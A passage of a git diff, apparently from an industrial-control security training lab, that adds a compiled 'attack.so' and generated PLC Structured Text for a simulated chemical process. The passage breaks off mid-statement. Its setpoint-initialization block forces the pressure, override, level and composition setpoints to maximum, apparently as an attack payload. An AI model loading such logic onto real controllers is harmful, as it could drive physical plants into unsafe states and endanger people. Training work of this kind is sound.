+387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := 